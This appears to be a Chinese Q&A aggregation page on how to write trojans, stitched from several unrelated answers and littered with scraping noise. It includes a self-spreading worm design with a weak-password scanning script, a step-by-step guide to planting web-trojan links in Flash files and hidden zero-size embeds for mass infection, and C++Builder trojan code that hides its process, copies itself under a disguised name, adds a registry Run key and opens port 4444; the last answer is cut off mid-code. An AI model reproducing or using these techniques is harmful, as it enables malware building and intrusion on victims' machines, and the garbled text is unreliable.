❶ 木马的编译程序是怎么样实现的
通过设计一段精巧的代码实现。一般用汇编或C语言,DELPHI,VBS脚本较为常见。
至于实现的方法,每种病毒都不一样,都经过特别构思。
❷ 木马怎么编辑
一个典型的蠕虫病毒有两个功能型部件:传播和破坏,流行的蠕虫病毒大都是利用操作系统或者应用程序的漏洞(以弱口令和溢出最为常见),但常常并不会对宿主机造成“致命”的破坏。这两个特点使蠕虫病毒比普通电脑病毒传播得更快,影响力更大。一般来说,单一的蠕虫病毒只针对某种特定的漏洞进行攻击,所以一旦这种漏洞得到大范围修补,病毒也就没有了生存空间。
更新这种设计,我把传播部件拆分开来:把扫描、攻击和破坏脚本化,主程序则负责解析这些脚本。例如针对ftp弱口令进行扫描,我们可以定义如下脚本:
code:
uid = iscript-0a21-2331-x #随机唯一编号
using tcp;
port 21;
send “user anonymous”;
send crlf;
send “pass [email protected]”
send crlf;
if (find “200”) resulrt ok;
next;
[ to clipboard]
解析了这段脚本后(我想这种脚本是很容易读懂的),我们再定义一系列的过程,把我们的蠕虫体upload上去,一次完整的传播动作就完成了。如果是溢出漏洞,为了简单起见我们可以采集远程溢出的数据包,然后修改ip地址等必要数据,再转发溢出数据包进行溢出(这种情况下要实现connect-back就不容易了,不过这些具体问题就待有心人去研究吧),例如:
code:
using raw;
ip offset at 12;
send “\x1a\xb2\xcc” ……
[ to clipboard]d
主程序在完成传播后留下一个后门,其他宿主机可以通过这个后门与本地的蠕虫病毒同步传播脚本,这样每次有新的漏洞产生,宿主机的传播方式可以很快地得到升级。我们当然不会仅满足于这样一个蠕虫程序,扫描/攻击脚本的传播过程也是需要仔细处理的。
我们希望适应力(fitness)最强的脚本得到广泛的应用(看起来有点类似 蚁群算法和 ga),所以我们要求得每个个体的fitness,当它和另一个体取得联系的时候就可以决定谁的传播脚本将取代另一个:
fitness = number of host infected / number of host scanned
但也不能仅凭fitness就修改传播脚本,我个人觉得一个合适的概率是75%,20%的机会保持各自的传播脚本,剩下的5%则交换脚本。这样在维持每种脚本都有一定生存空间的情况下使适应性最好的个体得到更多的传播机会,同时,一些在某种网络环境下适应性不强的脚本也有机会尝试不同的网络环境
❸ 急需知道,病毒,木马那些源代码通过什么方式转换为可以运行的程序编译吗用什么软件
其实就是在网站源代码里的文件最后面写了一个语言。这个语言指向了有病毒的网站或是服务器。你一打开网站。同时也就同时指向那网站。那个网站是存病毒的根。
❹ 怎么编写木马
这个只是恶作剧程序,不是木马。
其实很简单嘛,只要终止explorer.exe进程就行了。
这都不需要编程,只要写个批处理就行。
把:taskkill
/f
/im
Explorer.exe写到一个文本文档里,然后把那个文档的后缀名由.txt改为.bat就行了。
❺ 木马是如何编写的
这个木马只是个例子在模枋BO,
很简单是灰鸽子类的远程控制软件! 编写思路上一段就是隐藏自己,当有客户端连接时告诉以方你控制的机器是什么操作系统!
❻ 木马的编程是什么
一、制作Flash动画木马的准备 _1@2{3|$^'M!A程序开发,操作系统,服务器,源码下载,linux,Unix,BSD,PHP,Apach,asp,下载,源码,黑客,安全,技术社区,技术论坛 Flash动画木马的原理,是在网页中显示或本地直接播放Flash动画木马时,让Flash自动打开一个网址,而该网址就是我们预先制作好的一个木马网页。也就是说,在制作网页木马前,我们首先需要制作好一个网页木马,并将它放置到某个网站上去。 %H8H7W*B%N,|:^4i+p6U 另外,我们还需要准备一个比较吸引人的Flash动画文件“MM热舞.swf”,以及Flash动画反编译工具“闪客精灵”,编辑工具Macromedia Flash MX。 二、最原始的Flash木马 (X8h4s8G8L"G程序开发,操作系统,服务器,源码下载,Linux,Unix,BSD,PHP,Apach,asp,下载,源码,黑客,安全,技术社区,技术论坛 现在虽然有了许多各种各样的Flash动画木马制作工具,但是为了了解Flash动画木马的最基本原理,有必要从头开始用最原始的方法制作一个Flash木马。 'h'C(U$R'I1L2v"ttech.techweb.com.cn 步骤一:反编译SWF动画-O7c$^,d"h&Q7v5W 首先我们需要将要插入网页木马的Flash动画文件“MM热舞.swf”,反编译成可编辑的.fla格式。运行“闪客精灵”,点击菜单“文件”→“快速打开”命令,指定“MM热舞.swf”文件将其导入。然后点击工具栏上的“导出FLA”命令,将动画导出为“MM热舞.fla”文件。 5?-^9_-h)b8F3I,E;m5F 步骤二:插入网页木马代码9t!m*W,{5q%\6j"H!]6n"f 然后运行Flash动画编辑器Macromedia Flash MX,点击菜单“文件”→“打开”,调入刚才保存的fla文件。展开界面下方的“动作/帧”栏,再展开“动作”→“浏览器/网络”项,点击其中的“getURL”命令,在右边窗口中的“URL”里面输入我们的网页木马地址;窗口方式为“_blank”;“变量”设置为“使用GET方式发送”,在下方的代码窗口中将出现“getURL("http://网页木马地址", "_blank", "GET");”。tech.techweb.com.cn ^#o ~4V%{:m5z4E/H b;W 补充: 步骤三:生成Flash木马 -V"L$o(t8H6m9l)rtech.techweb.com.cn 设置完毕后保存文件,并点击菜单“文件”→“发布”命令,将动画重新导出为SWF格式。用IE浏览器打开刚才生成的Flash动画木马,可以看到随着Flash动画打开播放时,自动弹出一个浏览器窗口,里面将会显示我们的木马网页。 接着~~~~~ 三、简简单单生成Flash木马tech.techweb.com.cn*S0m7p#o5A p7S#C6l2z&f9e 程序开发,操作系统,服务器,源码下载,Linux,Unix,BSD,PHP,Apach,asp,下载,源码,黑客,安全,技术社区,技术论坛-q"R1h8o8j0Z5c 上面插入木马的过程比较麻烦,下面我们介绍一个简单的方法,也正是这些简单的工具使得Flash木马在网上随处可见。 6V5n8`!I0R/c6~,e程序开发,操作系统,服务器,源码下载,Linux,Unix,BSD,PHP,Apach,asp,下载,源码,黑客,安全,技术社区,技术论坛+z%m3L'k&}6M2` 运行SWF木马插入器,点击界面中的“选择”按钮,浏览指定要插入木马的SWF文件;在“插入代码”中输入木马网页的地址;切记不要勾选下面的“只解压”项。设置完毕后,点击“给我插”按钮,程序提示开始插入木马网页。显示成功信息后,关闭程序,用IE打开生成的动画,可以看到自动跳转到木马网页去了。 2v)l8e"^5H9^&[#_!l 9{7l#Z+X"J(P @,B 四、Flash木马的利用 9U+p6W;d;D7e+F9Ktech.techweb.com.cn 4W6Z4W1v4V"}4A/D$t._0_7P1o 看到上面的步骤了吧,生成一个Flash动画木马是不是很简单? 那么生成的Flash木马该如何应用呢?只要我们将Flash上传到某个网站中,就可以通过论坛或网站之类的直接利用了。 补充: #B&c)e#c9A%`-w程序开发,操作系统,服务器,源码下载,Linux,Unix,BSD,PHP,Apach,asp,下载,源码,黑客,安全,技术社区,技术论坛+|,K({&L#P2n:\6^ 大部分的论坛中都可以发来Flash动画的帖子,利用论坛发帖,攻击者可以快速获得大量的肉鸡。以PHPWind v4.3.2 论坛为例,在发帖或回复时,点击编辑窗口上方的“插入Flash动画”按钮,设置Flash窗口大小,使用默认设置后,要求输入Flash的URL地址。确定后,可以看到编辑窗口中显示的代码为““(flash=400,300)hxxp://www.flash**.com.cn/upfiles/20067**.swf(/flash)””,这就是完整的Flash播放代码了,不同的论坛代码是不一样的。TechWeb-技术社区5h4n8X5]/@'G+`'R'i %`6W'e)~"h 应用二:网页嵌入Flash木马"U3S9Z3v ^ 1q8X!h-V+V0T 攻击者入侵了某个大的网站之后,很可能在网站首页挂马,使用普通方式挂马会被管理员发觉,但是挂上Flash木马的话,是很难查杀的。攻击者可能在网页中插入如下代码:8y1o*@6L&l5k8L i8a9u%A,h5@/w “《EMBED src=http://网页木马地址/木马.swf width=0 height=0 type=application/x-shockwave-flash AUTOSTART="false" ShowStatusBar="false"》”,其中的《》改为<>。 $B;{)o,j5C,A.H;Z(sTechWeb-技术社区5L/b)o'K,m:s'i1t 这里的参数“width=0 height=0”表示,Flash播放窗口为零,也就是不显示Flash播放窗口。其它用户浏览网页时,就会莫名其妙的弹出一个木马网页窗口。 '^9e#G)n:X-j*T 1f6F#k.z&j3G
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❼ 木马一般是什么程序写出来的
如何识别木马
识别木马有新招,希望这篇文章对你有所帮助。
一、经常看到有玩家说,在输入自己的帐号的时候通故意输错帐号和码。其实这种木马是最早期的木马程序。现在已经很少有编木马程序的程序员,还按照这种监听键盘记录的思路去编写木马程序。现在的木马程序已经发展到通过内存提取数据来获得用户的帐号和密码。大家都知道,不管是传奇还是任何一款程序。它都是有他所特有的数据的(包括玩家的帐号、密码,等级装备资料等等)。这些数据都是会通过本机与游戏服务器取得了验证以后,玩家的角色资料才会出现在玩家的面前。而这些数据在运行的时候都是存放在计算机的内存里面的。木马作者只需要在自己的程序里面加入条件语句就可以取得玩家真实的游戏帐号、密码、角色等级~~~~~,以我自己的计算机知识,这种语句的大概意思应该是:当游戏进程进入到让玩家选择角色的时候再从内存中提取最后一次的帐号、密码、角色等级等资料。也就是说,其实玩家之前所做的故意输错帐号或密码完全是浪费自己的表情、浪费自己的时间。
下边先来说一下木马是如何通过网页进入你的电脑的,相信大家都知道,现在有很多图片木马,EML和EXE木马,其中的图片木马其实很简单,就是把木马exe文件的文件头换成bmp文件的文件头,然后欺骗IE浏览器自动打开该文件,然后利用网页里的一段javaSCRIPT小程序调用DEBUG把临时文件里的bmp文件还原成木马exe文件并拷贝到启动项里,接下来的事情很简单,你下次启动电脑的时候就是你噩梦的开始了,EML木马更是传播方便,把木马文件伪装成audio/x-wav声音文件,这样你接收到这封邮件的时候只要浏览一下,不需要你点任何连接,windows就会为你代劳自动播放这个他认为是wav的音乐文件,木马就这样轻松的进入你的电脑,这种木马还可以frame到网页里,只要打开网页,木马就会自动运行,另外还有一种方法,就是把木马exe编译到.JS文件里,然后在网页里调用,同样也可以无声无息的入侵你的电脑,这只是些简单的办法,还有远程控制和共享等等漏洞可以钻,知道这些,相信你已经对网页木马已经有了大概了解,
简单防治的方法:
开始-设置-控制面版-添加删除程序-windows安装程序-把附件里的windows scripting host去掉,然后打开Internet Explorer浏览器,点工具-Internet选项-安全-自定义级别,把里面的脚本的3个选项全部禁用,然后把“在中加载程序和文件”禁用,当然这只是简单的防治方法,不过可能影响一些网页的动态java效果,不过为了安全就牺牲一点啦,这样还可以预防一些恶意的网页炸弹和病毒,如果条件允许的话可以加装防火墙,再到微软的网站打些补丁,反正我所知道的网吧用的都是原始安装的windows,很不安全哦,还有尽量少在一些小网站下载一些程序,尤其是一些号称黑客工具的软件,小心盗不着别人自己先被盗了,当然,如果你执意要用的话,号被盗了也应该付出这个代价吧。还有,不要以为装了还原精灵就很安全,据我所知,一般网吧的还原精灵都只还原c:%
❽ 简单的木马怎么编写啊
特洛依木马这个名词大家应该不陌生,自从98年“死牛崇拜”黑客小组公布Back Orifice以来,木马犹如平地上的惊雷, 使在Dos——Windows时代中长大的中国网民从五彩缤纷的网络之梦中惊醒,终于认识到的网络也有它邪恶的一面,一时间人心惶惶。
我那时在《电脑报》上看到一篇文章,大意是一个菜鸟被人用BO控制了,吓得整天吃不下饭、睡不着觉、上不了网,到处求救!要知道,木马(Trojan)的历史是很悠久的:早在AT&T Unix和BSD Unix十分盛行的年代,木马是由一些玩程式(主要是C)水平很高的年轻人(主要是老美)用C或Shell语言编写的,基本是用来窃取登陆主机的口令,以取得更高的权限。那时木马的主要方法是诱骗——先修改你的.profile文件,植入木马;当你登陆时将你敲入的口令字符存入一个文件,用Email的形式发到攻击者的邮箱里。国内的年轻人大都是在盗版Dos的熏陶下长大的,对网络可以说很陌生。直到Win9x横空出世,尤其是WinNt的普及,大大推动了网络事业的发展的时候,BO这个用三年后的眼光看起来有点简单甚至可以说是简陋的木马(甚至在Win9x的“关闭程序”对话框可以看到进程)给了当时中国人极大的震撼,它在中国的网络安全方面可以说是一个划时代的软件。
自己编写木马,听起来很Cool是不是?!木马一定是由两部分组成——服务器程序(Server)和客户端程序(Client),服务器负责打开攻击的道路,就像一个内奸特务;客户端负责攻击目标,两者需要一定的网络协议来进行通讯(一般是TCP/IP协议)。为了让大家更好的了解木马攻击技术,破除木马的神秘感,我就来粗略讲一讲编写木马的技术并顺便编写一个例子木马,使大家能更好地防范和查杀各种已知和未知的木马。
首先是编程工具的选择。目前流行的开发工具有C++Builder、VC、VB和Delphi,这里我们选用C++Builder(以下简称BCB);VC虽然好,但GUI设计太复杂,为了更好地突出我的例子,集中注意力在木马的基本原理上,我们选用可视化的BCB;Delphi也不错,但缺陷是不能继承已有的资源(如“死牛崇拜”黑客小组公布的BO2000源代码,是VC编写的,网上俯拾皆是);VB嘛,谈都不谈——难道你还给受害者传一个1兆多的动态链接库——Msvbvm60.dll吗?
启动C++Builder 5.0企业版,新建一个工程,添加三个VCL控件:一个是Internet页中的Server Socket,另两个是Fastnet页中的NMFTP和NMSMTP。Server Socket的功能是用来使本程序变成一个服务器程序,可以对外服务(对攻击者敞开大门)。Socket最初是在Unix上出现的,后来微软将它引入了Windows中(包括Win98和WinNt);后两个控件的作用是用来使程序具有FTP(File Transfer Protocol文件传输协议)和SMTP(Simple Mail Transfer Protocol简单邮件传输协议)功能,大家一看都知道是使软件具有上传下载功能和发邮件功能的控件。
Form窗体是可视的,这当然是不可思议的。不光占去了大量的空间(光一个Form就有300K之大),而且使软件可见,根本没什么作用。因此实际写木马时可以用一些技巧使程序不包含Form,就像Delphi用过程实现的小程序一般只有17K左右那样。
我们首先应该让我们的程序能够隐身。双击Form,首先在FormCreate事件中添加可使木马在Win9x的“关闭程序”对话框中隐藏的代码。这看起来很神秘,其实说穿了不过是一种被称之为Service的后台进程,它可以运行在较高的优先级下,可以说是非常靠近系统核心的设备驱动程序中的那一种。因此,只要将我们的程序在进程数据库中用RegisterServiceProcess()函数注册成服务进程(Service Process)就可以了。不过该函数的声明在Borland预先打包的头文件中没有,那么我们只好自己来声明这个位于KERNEL32.DLL中的鸟函数了。
首先判断目标机的操作系统是Win9x还是WinNt:
{
DWORD dwVersion = GetVersion();
// 得到操作系统的版本号
if (dwVersion >= 0x80000000)
// 操作系统是Win9x,不是WinNt
{
typedef DWORD (CALLBACK* LPREGISTERSERVICEPROCESS)(DWORD,DWORD);
//定义RegisterServiceProcess()函数的原型
HINSTANCE hDLL;
LPREGISTERSERVICEPROCESS lpRegisterServiceProcess;
hDLL = LoadLibrary("KERNEL32");
//加载RegisterServiceProcess()函数所在的动态链接库KERNEL32.DLL
lpRegisterServiceProcess = (LPREGISTERSERVICEPROCESS)GetProcAddress(hDLL,"RegisterServiceProcess");
//得到RegisterServiceProcess()函数的地址
lpRegisterServiceProcess(GetCurrentProcessId(),1);
//执行RegisterServiceProcess()函数,隐藏本进程
FreeLibrary(hDLL);
//卸载动态链接库
}
}
这样就终于可以隐身了(害我敲了这么多代码!)。为什么要判断操作系统呢?因为WinNt中的进程管理器可以对当前进程一览无余,因此没必要在WinNt下也使用以上代码(不过你可以使用其他的方法,这个留到后面再讲)。
接着再将自己拷贝一份到%System%目录下,例如:C:\Windows\System,并修改注册表,以便启动时自动加载:
{
char TempPath[MAX_PATH];
//定义一个变量
GetSystemDirectory(TempPath ,MAX_PATH);
//TempPath是system目录缓冲区的地址,MAX_PATH是缓冲区的大小,得到目标机的System目录路径
SystemPath=AnsiString(TempPath);
//格式化TempPath字符串,使之成为能供编译器使用的样式
CopyFile(ParamStr(0).c_str(), AnsiString(SystemPath+"\\Tapi32.exe").c_str() ,FALSE);
//将自己拷贝到%System%目录下,并改名为Tapi32.exe,伪装起来
Registry=new TRegistry;
//定义一个TRegistry对象,准备修改注册表,这一步必不可少
Registry->RootKey=HKEY_LOCAL_MACHINE;
//设置主键为HKEY_LOCAL_MACHINE
Registry->OpenKey("Software\\Microsoft\\Windows\\
CurrentVersion\\Run",TRUE);
//打开键值Software\\Microsoft\\Windows\\CurrentVersion\\Run,如果不存在,就创建之
try
{
//如果以下语句发生异常,跳至catch,以避免程序崩溃
if(Registry->ReadString("crossbow")!=SystemPath+"\\Tapi32.exe")
Registry->WriteString("crossbow",SystemPath+"\\Tapi32.exe");
//查找是否有“crossbow”字样的键值,并且是否为拷贝的目录%System%+Tapi32.exe
//如果不是,就写入以上键值和内容
}
catch(...)
{
//如果有错误,什么也不做
}
}
好,FormCreate过程完成了,这样每次启动都可以自动加载Tapi32.exe,并且在“关闭程序”对话框中看不见本进程了,木马的雏形初现。
接着选中ServerSocket控件,在左边的Object Inspector中将Active改为true,这样程序一启动就打开特定端口,处于服务器工作状态。再将Port填入4444,这是木马的端口号,当然你也可以用别的。但是你要注意不要用1024以下的低端端口,因为这样不但可能会与基本网络协议使用的端口相冲突,而且很容易被发觉,因此尽量使用1024以上的高端端口(不过也有这样一种技术,它故意使用特定端口,因为如果引起冲突,Windows也不会报错 ^_^)。你可以看一看TNMFTP控件使用的端口,是21号端口,这是FTP协议的专用控制端口(FTP Control Port);同理TNMSMTP的25号端口也是SMTP协议的专用端口。
再选中ServerSocket控件,点击Events页,双击OnClientRead事件,敲入以下代码:
{
FILE *fp=NULL;
char * content;
int times_of_try;
char TempFile[MAX_PATH];
//定义了一堆待会儿要用到的变量
sprintf(TempFile, "%s%2
❾ 编写木马程序能用到的软件有哪些
你是想要能够生成木马的 木马生成器 还是要编写木马的编译器? 能够生成木马的生成器有很多! 国内出名的有 黑洞,灰鸽子, 上兴, PCshare,DRAT2009...等等N多. 关于能编写木马的软件有太多了.基本是种编译器就可以满足这样的条件,关键是要看你会用哪门语言!C ?C++? JAVA? DELPHI? 还是E语言?N多种语言.. 编译器 你可以选择Microsoft Visual Studio .NET 2003 这是比较优秀的了再就是tuboC++ .或者 linux系统自带的编译器都可以